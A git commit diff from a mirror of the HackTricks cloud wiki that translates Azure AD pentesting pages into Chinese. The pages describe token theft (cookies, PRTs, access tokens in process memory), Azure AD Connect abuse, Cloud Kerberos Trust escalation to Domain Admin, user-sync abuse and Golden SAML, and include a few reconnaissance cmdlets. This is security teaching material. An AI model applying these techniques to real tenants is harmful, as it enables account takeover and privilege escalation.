mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
@@ -1,16 +1,11 @@
|
||||
You can remove this content before sending the PR:
|
||||
|
||||
## Attribution
|
||||
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
|
||||
我们重视您的知识,并鼓励您分享内容。请确保您仅上传您拥有或已获得原作者分享权限的内容(在您添加的文本中或您正在修改的页面末尾添加对作者的引用,或两者都添加)。您对知识产权的尊重为每个人营造了一个值得信赖和合法的分享环境。
|
||||
|
||||
## HackTricks Training
|
||||
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
|
||||
|
||||
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
|
||||
|
||||
|
||||
In any case, thanks for contributing to HackTricks!
|
||||
|
||||
|
||||
如果您正在添加内容以便通过 [ARTE certification](https://training.hacktricks.xyz/courses/arte) 考试,使用 2 个标志而不是 3 个,您需要将 PR 命名为 `arte-<username>`。
|
||||
|
||||
此外,请记住,语法/语法修正将不被接受以减少考试标志。
|
||||
|
||||
在任何情况下,感谢您为 HackTricks 的贡献!
|
||||
|
||||
@@ -4,66 +4,62 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
### On-Prem machines connected to cloud
|
||||
### 连接到云的本地机器
|
||||
|
||||
There are different ways a machine can be connected to the cloud:
|
||||
机器可以通过不同方式连接到云:
|
||||
|
||||
#### Azure AD joined
|
||||
#### Azure AD 加入
|
||||
|
||||
<figure><img src="../../../images/image (259).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Workplace joined
|
||||
#### 工作场所加入
|
||||
|
||||
<figure><img src="../../../images/image (222).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large">https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large</a></p></figcaption></figure>
|
||||
|
||||
#### Hybrid joined
|
||||
#### 混合加入
|
||||
|
||||
<figure><img src="../../../images/image (178).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large">https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large</a></p></figcaption></figure>
|
||||
|
||||
#### Workplace joined on AADJ or Hybrid
|
||||
#### 在 AADJ 或混合上工作场所加入
|
||||
|
||||
<figure><img src="../../../images/image (252).png" alt=""><figcaption><p><a href="https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large">https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large</a></p></figcaption></figure>
|
||||
|
||||
### Tokens and limitations <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
### 令牌和限制 <a href="#tokens-and-limitations" id="tokens-and-limitations"></a>
|
||||
|
||||
In Azure AD, there are different types of tokens with specific limitations:
|
||||
在 Azure AD 中,有不同类型的令牌,具有特定的限制:
|
||||
|
||||
- **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource.
|
||||
- **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications.
|
||||
- **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device.
|
||||
- **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens.
|
||||
- **访问令牌**:用于访问 API 和资源,如 Microsoft Graph。它们与特定客户端和资源绑定。
|
||||
- **刷新令牌**:发放给应用程序以获取新的访问令牌。它们只能由发放给它们的应用程序或一组应用程序使用。
|
||||
- **主刷新令牌 (PRT)**:用于 Azure AD 加入、注册或混合加入设备的单点登录。它们可以在浏览器登录流程中使用,也可以用于在设备上登录移动和桌面应用程序。
|
||||
- **Windows Hello for Business 密钥 (WHFB)**:用于无密码身份验证。用于获取主刷新令牌。
|
||||
|
||||
The most interesting type of token is the Primary Refresh Token (PRT).
|
||||
最有趣的令牌类型是主刷新令牌 (PRT)。
|
||||
|
||||
{{#ref}}
|
||||
az-primary-refresh-token-prt.md
|
||||
{{#endref}}
|
||||
|
||||
### Pivoting Techniques
|
||||
### 透视技术
|
||||
|
||||
From the **compromised machine to the cloud**:
|
||||
从 **被攻陷的机器到云**:
|
||||
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text.
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it
|
||||
- [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it.
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another
|
||||
- [**Pass the Cookie**](az-pass-the-cookie.md):从浏览器中窃取 Azure cookie 并使用它们登录
|
||||
- [**Dump processes access tokens**](az-processes-memory-access-token.md):转储与云同步的本地进程的内存(如 excel、Teams...)并找到明文访问令牌。
|
||||
- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** 钓鱼 PRT 以滥用它
|
||||
- [**Pass the PRT**](pass-the-prt.md):窃取设备 PRT 以冒充访问 Azure。
|
||||
- [**Pass the Certificate**](az-pass-the-certificate.md)**:** 基于 PRT 生成证书以从一台机器登录到另一台机器
|
||||
|
||||
From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**:
|
||||
从攻陷 **AD** 到攻陷 **云**,以及从攻陷 **云** 到攻陷 **AD**:
|
||||
|
||||
- [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
|
||||
- **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md)
|
||||
- **从云到本地的另一种透视方式是** [**滥用 Intune**](../az-services/intune.md)
|
||||
|
||||
#### [Roadtx](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
|
||||
此工具允许执行多种操作,如在 Azure AD 中注册机器以获取 PRT,并使用 PRT(合法或被盗)以多种方式访问资源。这些不是直接攻击,但它促进了使用 PRT 以不同方式访问资源。更多信息请访问 [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/)
|
||||
|
||||
## References
|
||||
## 参考
|
||||
|
||||
- [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+11
-17
@@ -2,63 +2,57 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments:
|
||||
**本地 Active Directory (AD)** 和 **Azure AD** 之间的集成是通过 **Azure AD Connect** 实现的,提供支持 **单点登录 (SSO)** 的多种方法。每种方法虽然有用,但都存在潜在的安全漏洞,可能被利用来危害云或本地环境:
|
||||
|
||||
- **Pass-Through Authentication (PTA)**:
|
||||
- Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud).
|
||||
- Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem).
|
||||
- 可能会导致本地 AD 上代理的泄露,从而允许验证用户密码以进行 Azure 连接(本地到云)。
|
||||
- 在新位置(云到本地)注册新代理以验证身份的可行性。
|
||||
|
||||
{{#ref}}
|
||||
pta-pass-through-authentication.md
|
||||
{{#endref}}
|
||||
|
||||
- **Password Hash Sync (PHS)**:
|
||||
- Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user.
|
||||
- 可能从 AD 中提取特权用户的明文密码,包括高特权、自动生成的 AzureAD 用户的凭据。
|
||||
|
||||
{{#ref}}
|
||||
phs-password-hash-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **Federation**:
|
||||
- Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities.
|
||||
- 窃取用于 SAML 签名的私钥,允许冒充本地和云身份。
|
||||
|
||||
{{#ref}}
|
||||
federation.md
|
||||
{{#endref}}
|
||||
|
||||
- **Seamless SSO:**
|
||||
- Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user.
|
||||
- 窃取 `AZUREADSSOACC` 用户的密码,该密码用于签名 Kerberos 银票,允许冒充任何云用户。
|
||||
|
||||
{{#ref}}
|
||||
seamless-sso.md
|
||||
{{#endref}}
|
||||
|
||||
- **Cloud Kerberos Trust**:
|
||||
- Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD.
|
||||
- 通过操纵 AzureAD 用户名和 SID 并请求来自 AzureAD 的 TGT,有可能从全局管理员升级到本地域管理员。
|
||||
|
||||
{{#ref}}
|
||||
az-cloud-kerberos-trust.md
|
||||
{{#endref}}
|
||||
|
||||
- **Default Applications**:
|
||||
- Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files.
|
||||
- 破坏应用程序管理员账户或本地同步账户允许修改目录设置、组成员资格、用户账户、SharePoint 站点和 OneDrive 文件。
|
||||
|
||||
{{#ref}}
|
||||
az-default-applications.md
|
||||
{{#endref}}
|
||||
|
||||
For each integration method, user synchronization is conducted, and an `MSOL_<installationidentifier>` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain.
|
||||
|
||||
To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used:
|
||||
对于每种集成方法,都会进行用户同步,并在本地 AD 中创建一个 `MSOL_<installationidentifier>` 账户。值得注意的是,**PHS** 和 **PTA** 方法都支持 **无缝 SSO**,使得加入本地域的 Azure AD 计算机能够自动登录。
|
||||
|
||||
要验证 **Azure AD Connect** 的安装,可以使用以下 PowerShell 命令,利用 **AzureADConnectHealthSync** 模块(默认与 Azure AD Connect 一起安装):
|
||||
```powershell
|
||||
Get-ADSyncConnector
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+22
-26
@@ -2,52 +2,48 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
**这篇文章是** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **的总结,更多关于攻击的信息可以查看该链接。此技术也在** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**中有评论。**
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
### Trust
|
||||
### 信任
|
||||
|
||||
When a trust is stablished with Azure AD, a **Read Only Domain Controller (RODC) is created in the AD.** The **RODC computer account**, named **`AzureADKerberos$`**. Also, a secondary `krbtgt` account named **`krbtgt_AzureAD`**. This account contains the **Kerberos keys** used for tickets that Azure AD creates.
|
||||
当与 Azure AD 建立信任时,会在 AD 中创建一个 **只读域控制器 (RODC)**。该 **RODC 计算机账户** 名为 **`AzureADKerberos$`**。此外,还有一个名为 **`krbtgt_AzureAD`** 的次级 `krbtgt` 账户。该账户包含 Azure AD 创建的 **Kerberos 密钥**。
|
||||
|
||||
Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators...
|
||||
因此,如果该账户被攻破,可能会伪装任何用户……尽管这并不完全正确,因为该账户被禁止为任何常见的特权 AD 组(如域管理员、企业管理员、管理员等)创建票证。
|
||||
|
||||
> [!CAUTION]
|
||||
> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.**
|
||||
> 然而,在实际场景中,会有一些特权用户不在这些组中。因此,**如果新的 krbtgt 账户被攻破,可以用来伪装他们。**
|
||||
|
||||
### Kerberos TGT
|
||||
|
||||
Moreover, when a user authenticates on Windows using a hybrid identity **Azure AD** will issue **partial Kerberos ticket along with the PRT.** The TGT is partial because **AzureAD has limited information** of the user in the on-prem AD (like the security identifier (SID) and the name).\
|
||||
Windows can then **exchange this partial TGT for a full TGT** by requesting a service ticket for the `krbtgt` service.
|
||||
此外,当用户在 Windows 上使用混合身份进行身份验证时,**Azure AD** 将发放 **部分 Kerberos 票证以及 PRT。** TGT 是部分的,因为 **AzureAD 对用户在本地 AD 中的信息有限**(如安全标识符 (SID) 和名称)。\
|
||||
Windows 然后可以通过请求 `krbtgt` 服务的服务票证来 **用这个部分 TGT 交换一个完整的 TGT**。
|
||||
|
||||
### NTLM
|
||||
|
||||
As there could be services that doesn't support kerberos authentication but NTLM, it's possible to request a **partial TGT signed using a secondary `krbtgt`** key including the **`KERB-KEY-LIST-REQ`** field in the **PADATA** part of the request and then get a full TGT signed with the primary `krbtgt` key **including the NT hash in the response**.
|
||||
由于可能存在不支持 Kerberos 身份验证但支持 NTLM 的服务,因此可以请求一个 **使用次级 `krbtgt`** 密钥签名的 **部分 TGT**,在请求的 **PADATA** 部分中包含 **`KERB-KEY-LIST-REQ`** 字段,然后获取一个使用主 `krbtgt` 密钥签名的完整 TGT **包括响应中的 NT 哈希**。
|
||||
|
||||
## Abusing Cloud Kerberos Trust to obtain Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
## 利用 Cloud Kerberos Trust 获取域管理员权限 <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
|
||||
|
||||
When AzureAD generates a **partial TGT** it will be using the details it has about the user. Therefore, if a Global Admin could modify data like the **security identifier and name of the user in AzureAD**, when requesting a TGT for that user the **security identifier would be a different one**.
|
||||
当 AzureAD 生成 **部分 TGT** 时,将使用它所拥有的关于用户的详细信息。因此,如果全球管理员能够修改数据,如 **AzureAD 中用户的安全标识符和名称**,在请求该用户的 TGT 时,**安全标识符将会不同**。
|
||||
|
||||
It's not possible to do that through the Microsoft Graph or the Azure AD Graph, but it's possible to use the **API Active Directory Connect** uses to create and update synced users, which can be used by the Global Admins to **modify the SAM name and SID of any hybrid user**, and then if we authenticate, we get a partial TGT containing the modified SID.
|
||||
无法通过 Microsoft Graph 或 Azure AD Graph 来做到这一点,但可以使用 **API Active Directory Connect** 用于创建和更新同步用户的功能,全球管理员可以利用该功能 **修改任何混合用户的 SAM 名称和 SID**,然后如果我们进行身份验证,就会获得一个包含修改后 SID 的部分 TGT。
|
||||
|
||||
Note that we can do this with AADInternals and update to synced users via the [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet.
|
||||
请注意,我们可以使用 AADInternals 并通过 [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet 更新同步用户。
|
||||
|
||||
### Attack prerequisites <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
### 攻击前提条件 <a href="#attack-prerequisites" id="attack-prerequisites"></a>
|
||||
|
||||
The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites:
|
||||
攻击的成功和获得域管理员权限依赖于满足某些前提条件:
|
||||
|
||||
- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts.
|
||||
- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication.
|
||||
- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket.
|
||||
- Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC.
|
||||
- The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object.
|
||||
- 通过同步 API 修改账户的能力至关重要。这可以通过拥有全球管理员角色或拥有 AD Connect 同步账户来实现。或者,混合身份管理员角色也足够,因为它授予管理 AD Connect 和建立新同步账户的能力。
|
||||
- 存在一个 **混合账户** 是必要的。该账户必须能够修改为受害者账户的详细信息,并且应可用于身份验证。
|
||||
- 必须识别出 Active Directory 中的 **目标受害者账户**。虽然攻击可以在任何已同步的账户上执行,但 Azure AD 租户必须没有复制本地安全标识符,因此需要修改一个未同步的账户以获取票证。
|
||||
- 此外,该账户应具备域管理员等效权限,但必须不属于典型的 AD 管理员组,以避免 AzureAD RODC 生成无效的 TGT。
|
||||
- 最合适的目标是 **AD Connect Sync 服务使用的 Active Directory 账户**。该账户未与 Azure AD 同步,因此其 SID 是一个可行的目标,并且由于其在同步密码哈希中的角色,固有地具有域管理员等效权限(假设密码哈希同步处于活动状态)。对于快速安装的域,该账户以 **MSOL\_** 为前缀。对于其他实例,可以通过枚举所有在域对象上拥有目录复制权限的账户来确定该账户。
|
||||
|
||||
### The full attack <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
### 完整攻击 <a href="#the-full-attack" id="the-full-attack"></a>
|
||||
|
||||
Check it in the original post: [https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
请查看原始文章:[https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+2
-6
@@ -2,12 +2,8 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
**查看该技术:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) 和 [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
|
||||
|
||||
The blog post discusses a privilege escalation vulnerability in Azure AD, allowing Application Admins or compromised On-Premise Sync Accounts to escalate privileges by assigning credentials to applications. The vulnerability, stemming from the "by-design" behavior of Azure AD's handling of applications and service principals, notably affects default Office 365 applications. Although reported, the issue is not considered a vulnerability by Microsoft due to documentation of the admin rights assignment behavior. The post provides detailed technical insights and advises regular reviews of service principal credentials in Azure AD environments. For more detailed information, you can visit the original blog post.
|
||||
这篇博客文章讨论了Azure AD中的一个权限提升漏洞,允许应用程序管理员或被攻陷的本地同步帐户通过将凭据分配给应用程序来提升权限。该漏洞源于Azure AD处理应用程序和服务主体的“设计”行为,特别影响默认的Office 365应用程序。尽管已报告,但由于对管理员权限分配行为的文档,微软并不认为该问题是一个漏洞。文章提供了详细的技术见解,并建议定期审查Azure AD环境中的服务主体凭据。有关更详细的信息,您可以访问原始博客文章。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+11
-17
@@ -1,36 +1,30 @@
|
||||
# Az- Synchronising New Users
|
||||
# Az- 同步新用户
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Syncing AzureAD users to on-prem to escalate from on-prem to AzureAD
|
||||
## 将 AzureAD 用户同步到本地以从本地升级到 AzureAD
|
||||
|
||||
I order to synchronize a new user f**rom AzureAD to the on-prem AD** these are the requirements:
|
||||
|
||||
- The **AzureAD user** needs to have a proxy address (a **mailbox**)
|
||||
- License is not required
|
||||
- Should **not be already synced**
|
||||
为了将新用户从 **AzureAD 同步到本地 AD**,需要满足以下要求:
|
||||
|
||||
- **AzureAD 用户** 需要有一个代理地址(一个 **邮箱**)
|
||||
- 不需要许可证
|
||||
- **不能已经同步**
|
||||
```powershell
|
||||
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
|
||||
```
|
||||
当在 AzureAD 中找到这样的用户时,为了 **从本地 AD 访问它**,您只需 **使用 SMTP 电子邮件的 proxyAddress 创建一个新帐户**。
|
||||
|
||||
When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email.
|
||||
|
||||
An automatically, this user will be **synced from AzureAD to the on-prem AD user**.
|
||||
这样,该用户将 **自动从 AzureAD 同步到本地 AD 用户**。
|
||||
|
||||
> [!CAUTION]
|
||||
> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**.
|
||||
> 请注意,要执行此攻击,您 **不需要域管理员权限**,您只需有权限 **创建新用户**。
|
||||
>
|
||||
> Also, this **won't bypass MFA**.
|
||||
> 此外,这 **不会绕过 MFA**。
|
||||
>
|
||||
> Moreover, this was reported an **account sync is no longer possible for admin accounts**.
|
||||
> 此外,有报告称 **管理员帐户的帐户同步不再可能**。
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+53
-65
@@ -2,89 +2,88 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** is a collection of **domains** that have established **trust**. The level of trust may vary, but typically includes **authentication** and almost always includes **authorization**. A typical federation might include a **number of organizations** that have established **trust** for **shared access** to a set of resources.
|
||||
[来自文档:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**联邦**是建立了**信任**的一组**域**。信任的级别可能有所不同,但通常包括**身份验证**,几乎总是包括**授权**。一个典型的联邦可能包括一组已建立**信任**的**组织**,以便**共享访问**一组资源。
|
||||
|
||||
You can **federate your on-premises** environment **with Azure AD** and use this federation for authentication and authorization. This sign-in method ensures that all user **authentication occurs on-premises**. This method allows administrators to implement more rigorous levels of access control. Federation with **AD FS** and PingFederate is available.
|
||||
您可以将**本地**环境与**Azure AD**进行**联邦**,并使用此联邦进行身份验证和授权。这种登录方法确保所有用户的**身份验证发生在本地**。这种方法允许管理员实施更严格的访问控制。与**AD FS**和PingFederate的联邦是可用的。
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Bsiacally, in Federation, all **authentication** occurs in the **on-prem** environment and the user experiences SSO across all the trusted environments. Therefore, users can **access** **cloud** applications by using their **on-prem credentials**.
|
||||
基本上,在联邦中,所有**身份验证**发生在**本地**环境中,用户在所有受信任的环境中体验单点登录(SSO)。因此,用户可以使用其**本地凭据**访问**云**应用程序。
|
||||
|
||||
**Security Assertion Markup Language (SAML)** is used for **exchanging** all the authentication and authorization **information** between the providers.
|
||||
**安全断言标记语言 (SAML)** 用于在提供者之间**交换**所有身份验证和授权**信息**。
|
||||
|
||||
In any federation setup there are three parties:
|
||||
在任何联邦设置中,有三个参与方:
|
||||
|
||||
- User or Client
|
||||
- Identity Provider (IdP)
|
||||
- Service Provider (SP)
|
||||
- 用户或客户端
|
||||
- 身份提供者 (IdP)
|
||||
- 服务提供者 (SP)
|
||||
|
||||
(Images from https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
(图片来自 https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
1. Initially, an application (Service Provider or SP, such as AWS console or vSphere web client) is accessed by a user. This step might be bypassed, leading the client directly to the IdP (Identity Provider) depending on the specific implementation.
|
||||
2. Subsequently, the SP identifies the appropriate IdP (e.g., AD FS, Okta) for user authentication. It then crafts a SAML (Security Assertion Markup Language) AuthnRequest and reroutes the client to the chosen IdP.
|
||||
3. The IdP takes over, authenticating the user. Post-authentication, a SAMLResponse is formulated by the IdP and forwarded to the SP through the user.
|
||||
4. Finally, the SP evaluates the SAMLResponse. If validated successfully, implying a trust relationship with the IdP, the user is granted access. This marks the completion of the login process, allowing the user to utilize the service.
|
||||
1. 最初,用户访问一个应用程序(服务提供者或SP,例如AWS控制台或vSphere Web客户端)。根据具体实现,这一步可能会被绕过,直接将客户端引导到IdP(身份提供者)。
|
||||
2. 随后,SP识别适当的IdP(例如,AD FS,Okta)进行用户身份验证。然后,它构建一个SAML(安全断言标记语言)AuthnRequest,并将客户端重定向到所选的IdP。
|
||||
3. IdP接管,进行用户身份验证。身份验证后,IdP生成SAMLResponse并通过用户转发给SP。
|
||||
4. 最后,SP评估SAMLResponse。如果成功验证,表明与IdP之间存在信任关系,则用户被授予访问权限。这标志着登录过程的完成,允许用户使用该服务。
|
||||
|
||||
**If you want to learn more about SAML authentication and common attacks go to:**
|
||||
**如果您想了解更多关于SAML身份验证和常见攻击的信息,请访问:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
## Pivoting
|
||||
## 旋转
|
||||
|
||||
- AD FS is a claims-based identity model.
|
||||
- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."
|
||||
- Claims for a user are written inside the SAML tokens and are then signed to provide confidentiality by the IdP.
|
||||
- A user is identified by ImmutableID. It is globally unique and stored in Azure AD.
|
||||
- TheImmuatbleIDisstoredon-premasms-DS-ConsistencyGuidforthe user and/or can be derived from the GUID of the user.
|
||||
- More info in [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
- AD FS是基于声明的身份模型。
|
||||
- "..声明只是关于用户的语句(例如,姓名、身份、组),主要用于授权访问位于互联网上任何地方的基于声明的应用程序。"
|
||||
- 用户的声明写入SAML令牌中,然后由IdP签名以提供机密性。
|
||||
- 用户通过ImmutableID进行识别。它是全局唯一的,并存储在Azure AD中。
|
||||
- ImmutableID存储在本地作为ms-DS-ConsistencyGuid,用户和/或可以从用户的GUID派生。
|
||||
- 更多信息请参见 [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
|
||||
|
||||
**Golden SAML attack:**
|
||||
**黄金SAML攻击:**
|
||||
|
||||
- In ADFS, SAML Response is signed by a token-signing certificate.
|
||||
- If the certificate is compromised, it is possible to authenticate to the Azure AD as ANY user synced to Azure AD!
|
||||
- Just like our PTA abuse, password change for a user or MFA won't have any effect because we are forging the authentication response.
|
||||
- The certificate can be extracted from the AD FS server with DA privileges and then can be used from any internet connected machine.
|
||||
- More info in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
